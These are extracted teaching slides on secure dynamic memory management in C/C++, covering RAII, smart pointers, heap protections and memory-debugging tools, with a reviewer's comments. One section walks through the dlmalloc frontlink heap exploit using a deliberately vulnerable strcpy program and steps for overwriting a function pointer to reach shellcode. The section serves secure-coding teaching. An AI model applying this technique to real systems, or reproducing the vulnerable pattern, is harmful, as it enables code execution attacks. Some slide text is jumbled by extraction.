Adopt Consistent Conventions

Use the same pattern for allocating and freeing memory. 

▪ In C++, perform all memory allocation in constructors 
and all memory deallocation in destructors. 

▪ In C, define create() and destroy() functions that 
perform an equivalent function.

Allocate and free memory in the same module, at the 
same level of abstraction—freeing memory in subroutines 
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same level of abstraction—freeing memory in subroutines 
leads to confusion about if, when, and where memory is 
freed.

Match allocations and deallocations. If there are multiple 
constructors, make sure the destructors can handle all 
possibilities.

In C++, consider the use of appropriate smart pointers 
instead of raw pointers.



Resource Acquisition is Initialization 

In C++, use the resource acquisition is initialization (RAII) 
idiom extensively.

Any important resource should be controlled by an object 
that links the resource’s lifetime to the object’s.

▪ Every resource allocation should occur in its own 

statement (to avoid sub-expression evaluation order and 
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statement (to avoid sub-expression evaluation order and 

sequence point issues).

▪ The object’s constructor immediately puts the resource in 

the charge of a resource handle.

▪ The object’s destructor frees the resource.

▪ Copying and heap allocation of the resource handle 

object are carefully controlled or outright denied. 



RAII Example

If the "use f" part of fct() throws an exception, the destructor is still 
thrown and the file is properly closed. 

void fct(string s) {

// File_handle's ctor opens file "s"

File_handle f(s,"r"); 

// use f

} // here File_handle's destructor closes the file
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This contrasts to the common unsafe usage:

void old_fct(const char* s) {

FILE* f = fopen(s,"r"); // open the file "s"

// use f

fclose(f); // close the file

}

If the "use f" part of old_fct throws an exception - or simply does a 
return - the file isn't closed. 



Smart Pointers in C++

Raw pointers are dangerous—smart pointers are typically 
a better choice. 

Use the right smart pointer for the task.
▪ std::tr1::shared_ptr is safe, a good choice for a 

container element, but is not cheap. 

▪ std::auto_ptr is not appropriate as a container 
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▪ std::auto_ptr is not appropriate as a container 
element, but is good for “resource transfer” semantics, 
and is as fast as a raw pointer.

NOTE: auto_ptr has non-intuitive semantics for 
copying.

▪ std::tr1::scoped_ptr is good for simple lifetime 
control of a resource without the ability to transfer the 
resource. 

rCs9
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rCs9 Too much pointer stuff.  We haven't described the use of auto_ptr or scoped_ptr at all, but now we are summarizing?

Probably keep this slide down to a comparisoin between shared and raw pointers.
Robert C. Seacord, 2/12/2008



Exception-Safe Code in C++

Writing exception-safe code often goes hand-in-

hand with making sure resources (including 

memory) are properly reclaimed. 
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rCs11
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rCs11 Perhaps a small example of exception handling screwing up resource management?
Robert C. Seacord, 2/12/2008



Heap Integrity Detection

System to protect the glibc heap by modifying the chunk 
structure and memory managemet functions 

struct malloc_chunk {

INTERNAL_SIZE_T magic;

INTERNAL_SIZE_T __pad0;

Pretends a canary 

and padding field.  

The canary contains a 

checksum of the 

chunk header seed 
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INTERNAL_SIZE_T prev_size;

INTERNAL_SIZE_T size;

struct malloc_chunk *bk;

struct malloc_chunk *fd;

};

chunk header seed 

with a random 

number. 

The heap protection system augments the heap management 

functions with code to maage and check each chunk’s canary 



Phkmalloc 1

Written by Poul-Henning Kamp for FreeBSD in 
1995-1996 and adapted by a number of operating 
systems.

Written to operate efficiently in a virtual memory 
system, which resulted in stronger checks. 

Can determine whether a pointer passed to 
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Can determine whether a pointer passed to 
free() or realloc() is valid without 
dereferencing it. 

Cannot detect if a wrong pointer is passed, but 
can detect all pointers that were not returned by 
malloc() or realloc(). 



Phkmalloc 2

Determines whether a pointer is allocated or free, 

and detects all double-free errors.

For unprivileged processes, these errors are 

treated as warnings.

Enabling the “A” or “abort” option causes these 
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Enabling the “A” or “abort” option causes these 

warnings to be treated as errors. 

An error is terminal and results in a call to 
abort(). 



Phkmalloc 3

The J(unk) and Z(ero) options were added to find 

even more memory management defects. 

The J(unk) option fills the allocated area with the 
value 0xd0. 

The Z(ero) option fills the memory with junk 
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The Z(ero) option fills the memory with junk 

except for the exact length the user asked for, 

which is zeroed. 



Phkmalloc 4

FreeBSD’s version of phkmalloc can also provide 
a trace of all malloc(), free(), and

realloc() requests using the ktrace() facility 

with the “U” option.

Phkmalloc has been used to discover memory 
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Phkmalloc has been used to discover memory 
management defects in fsck, ypserv, cvs, 

mountd, inetd, and other programs.



Randomization

Randomization works on the principle that it is 

harder to hit a moving target. 

Randomizing the addresses of blocks of memory 

returned by the memory manager can make it 

more difficult to exploit a heap-based vulnerability. 

109

more difficult to exploit a heap-based vulnerability. 

It is possible to randomize pages returned by the 

operating system and the addresses of chunks 

returned by the memory manager.



Guard Pages

Guard pages are unmapped pages placed between all 
allocations of memory the size of one page or larger. 

The guard page causes a segmentation fault upon any 
access. 

Any attempt by an attacker to overwrite adjacent memory 
in the course of exploiting a buffer overflow causes the 
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in the course of exploiting a buffer overflow causes the 
vulnerable program to terminate.

Guard pages are implemented by a number of systems 
and tools including 

▪ OpenBSD

▪ Electric Fence

▪ Application Verifier



Runtime Analysis Tools

Benefit: Typically low rate of false positives

▪ If one of these tools flags something, fix it!

Drawback: Code coverage is an issue

▪ If a defective code path is not exercised during 

the testing process, it is unlikely to be caught
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the testing process, it is unlikely to be caught

Generally have high performance overhead

▪ You only want to run these in test/QA 

environments



IBM Rational Purify/PurifyPlus

Performs memory corruption and memory leak detection 
functions and is available for a number of platforms:

▪ Microsoft Windows

▪ Linux

▪ HP UNIX
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▪ IBM AIX

▪ Sun Solaris

Detects when a program reads or writes freed memory or 
frees non-heap or unallocated memory and identifies 
writes beyond the bounds of an array.



Memory Access Error Checking

Illegal to read, write, or
free red and blue memory 

free()
malloc()

free()

Blue
memory
Free 
but still
initialized

Red
memory
unallocated 
and 
uninitialized
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Green
memory

allocated and
initialized

Yellow
memory

allocated but
uninitialized

Legal to write 
or free, but 
illegal to read 

Legal to read and write
(or free if allocated 

by malloc) 

free()

write

Purify labels memory states by color.

(image from the IBM Rational Purify documentation)



Debug Memory Allocation Library

dmalloc replaces the system’s malloc(), 

realloc(), calloc(), free(), and other 

memory management functions to provide 

configurable, runtime debug facilities. 

These facilities include 
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These facilities include 

▪ memory-leak tracking

▪ fence-post write detection

▪ file/line number reporting

▪ general logging of statistics



Electric Fence

Detects buffer overflows or unallocated memory 
references.

Implements guard pages to place an inaccessible 
memory page after or before each memory 
allocation.

When software reads or writes this inaccessible 
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When software reads or writes this inaccessible 
page, the hardware issues a segmentation fault, 
stopping the program at the offending instruction. 

Memory that has been released by free() is 
made inaccessible, and any code that touches it 
causes a segmentation fault. 



Valgrind 1

Allows a programmer to profile and debug 

Linux/IA-32 executables.

Consists of a core, which provides a synthetic IA-

32 CPU in software, and a series of tools, each of 

which performs a debugging, profiling, or similar 
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which performs a debugging, profiling, or similar 

task. 

Is closely tied to details of the CPU, operating 

system, and—to a lesser extent—the compiler 

and basic C libraries.

(pronounced with short “i” – “grinned” as opposed to “grind”)



Valgrind 2

The memory checking tool, Memcheck, that 

detects common memory errors such as:

▪ touching memory you shouldn’t (e.g., 

overrunning heap block boundaries)

▪ using values before they have been initialized

117

▪ using values before they have been initialized

▪ incorrect freeing of memory, such as double-

freeing heap blocks

▪ memory leaks

Memcheck doesn’t do bounds checking on static 

or stack arrays.



Valgrind 3

Consider the following flawed function:

void f(void) {

int* x = malloc(10 * sizeof(int));

x[10] = 0; 

} ==6690== Invalid write of size 4

==6690==    at 0x804837B: f (v.c:6)
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==6690== 40 bytes in 1 blocks are definitely lost in loss record 1 of 1

==6690==    at 0x401C422: malloc (vg_replace_malloc.c:149)

==6690==    by 0x8048371: f (v.c:5)

==6690==    by 0x80483A3: main (v.c:11)

==6690==    at 0x804837B: f (v.c:6)

==6690==    by 0x80483A3: main (v.c:11)

==6690==  Address 0x4138050 is 0 bytes after a block of size 40 alloc'd

==6690==    at 0x401C422: malloc (vg_replace_malloc.c:149)

==6690==    by 0x8048371: f (v.c:5)

==6690==    by 0x80483A3: main (v.c:11)
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Summary

Dynamic memory management in C and C++ 
programs is prone to software defects and 
security flaws. 

While heap-based vulnerabilities can be more 
difficult to exploit than their stack-based 
counterparts, programs with memory-related 
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counterparts, programs with memory-related 
security flaws can still be vulnerable to attack. 

A combination of good programming practices 
and dynamic analysis can help to identify and 
eliminate these security flaws during 
development.
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rCs14 I think we should get rid of the entire frontlink section.
Robert C. Seacord, 2/12/2008



Frontlink Technique 1

When a chunk of memory is freed, it must be 

linked into the appropriate double-linked list. 

In some versions of dlmalloc, this is performed by 
the frontlink() code segment.

The frontlink() code segment can be 
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The frontlink() code segment can be 

exploited to write data supplied by the attacker to 

an address also supplied by the attacker. 

The frontlink technique is more difficult to apply 

than the unlink technique but potentially as 

dangerous.



Frontlink Technique 2

The attacker:

▪ supplies the address of a memory chunk and not 

the address of the shell code

▪ arranges for the first four bytes of this memory 

chunk to contain executable code
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chunk to contain executable code

This is accomplished by writing these instructions 

into the last four bytes of the previous chunk in 

memory. 



The frontlink Code Segment

BK = bin;

FD = BK->fd;

if (FD != BK) {

while (FD != BK && S < chunksize(FD)) {

FD = FD->fd;
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}

BK = FD->bk;

}

P->bk = BK;

P->fd = FD;

FD->bk = BK->fd = P;



Vulnerable Code

char *first, *second, *third;

char *fourth, *fifth, *sixth;

first = malloc(strlen(argv[2]) + 1); 

second = malloc(1500); 

third = malloc(12); 

fourth = malloc(666); 

Program allocates six 
memory chunks
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fourth = malloc(666); 

fifth = malloc(1508); 

sixth = malloc(12); 

strcpy(first, argv[2]); 

free(fifth); 

strcpy(fourth, argv[1]); 

free(second);

argv[2] is copied 

into the 1st chunk

When the 5th chunk is 
freed, it is put into a bin



Frontlink Technique 3

An attacker can provide a malicious argument 

containing shellcode so that the last four bytes of 

the shellcode are the jump instruction into the rest 

of the shellcode, and these four bytes are the last 

four bytes of the first chunk. 
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To ensure this, the chunk being attacked must be 

a multiple of eight bytes minus four bytes long.



Exploit

char *first, *second, *third;

char *fourth, *fifth, *sixth;

first = malloc(strlen(argv[2]) + 1); 

second = malloc(1500); 

third = malloc(12); 

fourth = malloc(666); 

The 4th chunk in memory is seeded
with carefully crafted data in argv[1]

so that it overflows, and the address of 
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fourth = malloc(666); 

fifth = malloc(1508); 

sixth = malloc(12); 

strcpy(first, argv[2]); 

free(fifth); 

strcpy(fourth, argv[1]); 

free(second);

so that it overflows, and the address of 
a fake chunk is written into the forward 
pointer of the 5th chunk.

The fake chunk contains the 
address of a function pointer (- 8) in 
the location where the back pointer 
is normally found.



Exploit 2

char *first, *second, *third;

char *fourth, *fifth, *sixth;

first = malloc(strlen(argv[2]) + 1); 

second = malloc(1500); 

third = malloc(12); 

fourth = malloc(666); 
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fourth = malloc(666); 

fifth = malloc(1508); 

sixth = malloc(12); 

strcpy(first, argv[2]); 

free(fifth); 

strcpy(fourth, argv[1]); 

free(second);

When the 2ndchunk is freed, 
the frontlink() code 
segment inserts it into the 
same bin as the 5th chunk



The frontlink Code Segment

BK = bin;

FD = BK->fd;

if (FD != BK) {

while (FD != BK && S < chunksize(FD)) {

FD = FD->fd;

The while loop is executed because 
the 2nd chunk is smaller than the 5th. 

The forward pointer of the
5th chunk is stored in FD.

131

}

BK = FD->bk;

}

P->bk = BK;

P->fd = FD;

FD->bk = BK->fd = P;

5th chunk is stored in FD.

The back pointer of this fake chunk is 
stored in the variable BK.
BK contains the address of the 
function pointer (minus 8).

The function pointer is overwritten 
by the address of the 2nd chunk 
(which contains the shell code).



Insure++ 1

Parasoft Insure++ is an automated runtime application 
testing tool that detects

▪ memory corruption

▪ memory leaks

▪ memory allocation errors
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▪ variable initialization errors

▪ variable definition conflicts

▪ pointer errors

▪ library errors

▪ I/O errors

▪ logic errors

rCs13
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rCs13 Get rid of Insure++.  These sections are just too damn boring!
Robert C. Seacord, 2/12/2008



Insure++ 2

Reads and analyzes the source code at compile 

time to insert tests and analysis functions around 

each line. 

Builds a database of all program elements. 

Checks for errors including:
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Checks for errors including:

▪ reading from or writing to freed memory

▪ passing dangling pointers as arguments to 

functions or returning them from functions



Insure++ 3

Insure++ checks for the following categories of 

dynamic memory issues:

▪ freeing the same memory chunk multiple times

▪ attempting to free statically allocated memory

▪ freeing stack memory (local variables)
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▪ freeing stack memory (local variables)

▪ passing a pointer to free() that doesn’t point to 

the beginning of a memory block

▪ calls to free with null or uninitialized pointers

▪ passing arguments of the wrong data type to 
malloc(), calloc(), realloc(), or free()


